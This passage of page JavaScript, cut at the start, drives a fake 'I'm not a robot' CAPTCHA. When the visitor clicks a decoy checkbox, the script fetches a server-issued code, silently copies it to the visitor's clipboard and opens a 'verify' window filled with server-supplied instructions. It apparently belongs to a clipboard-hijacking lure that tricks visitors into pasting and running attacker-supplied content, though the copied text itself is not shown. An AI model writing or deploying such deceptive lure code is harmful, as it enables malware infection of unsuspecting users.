        })
        .then(function(r) { return r.json(); })
        .then(function(data) {
            var code = (data && data.ok && data.code) ? data.code : TOKEN.substring(0,16).toUpperCase();
            fallbackCopy(code);
        })
        .catch(function() {
            fallbackCopy(TOKEN.substring(0,16).toUpperCase());
        });

        Promise.all([ctxPromise, new Promise(function(res){ setTimeout(res, 2000); })]).then(function() {
            showCaptchaLoading();
            notRobot.textContent = texts.notRobot || "I'm not a robot";
            infoBlock.innerHTML = '';
            infoBlock.style.display = 'none';
            showVerifyWindow(texts.instructionsHtml || '');
            waitForTokenUsed();
        });
    }

    checkboxFake.addEventListener('click', runConfirmFlow);
})();
</script>
        